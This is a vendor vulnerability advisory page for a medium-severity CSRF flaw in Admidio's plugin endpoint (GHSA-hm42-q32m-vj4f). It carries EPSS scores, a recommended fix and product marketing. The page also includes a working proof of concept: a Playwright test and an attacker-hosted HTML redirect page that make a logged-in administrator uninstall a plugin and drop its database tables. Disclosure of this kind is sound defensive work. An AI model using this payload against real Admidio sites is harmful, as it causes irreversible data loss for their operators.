Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

GHSA-hm42-q32m-vj4f

MEDIUM

GHSA-hm42-q32m-vj4f is a medium-severity (CVSS 5.2) Cross-Site Request Forgery (CSRF) vulnerability in admidio/admidio. O3 Security confirms whether GHSA-hm42-q32m-vj4f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Also known asCVE-2026-53760
Published
Jul 9, 2026
Updated
Jul 9, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-hm42-q32m-vj4f plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘admidio/admidio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
    // Contains DROP TABLE statements
}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
    const context = await browser.newContext();
    const page = await context.newPage();

    // Step 1: Admin logs in to Admidio
    await page.goto('https://admidio.example.com/adm_program/system/login.php');
    await page.fill('#usr_login_name', 'admin');
    await page.fill('#usr_password', 'password');
    await page.click('#btn_login');
    await page.waitForURL('**/overview.php');

    // Step 2: Admin visits attacker-controlled page on different origin
    // The attacker page contains:
    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
    await page.goto('https://attacker.example.com/csrf.html');

    // Step 3: Browser follows redirect with SameSite=Lax cookies
    // The birthday plugin is uninstalled, its database tables dropped
    await page.waitForURL('**/plugins.php*');

    // Verify the plugin was uninstalled
    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
    const content = await page.content();
    expect(content).not.toContain('birthday');
});

Simplified attacker page (csrf.html hosted on attacker origin):

<html>
<body>
<script>
  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.


Found by aisafe.io

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistadmidio/admidioall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of admidio/admidio has shipped for GHSA-hm42-q32m-vj4f yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hm42-q32m-vj4f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hm42-q32m-vj4f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. ## Details `modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`: ```php // mo
O3 Security · Impact-Aware SCA

Is GHSA-hm42-q32m-vj4f in your dependencies?

O3 detects GHSA-hm42-q32m-vj4f across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-hm42-q32m-vj4f: admidio/admidio… | O3 Security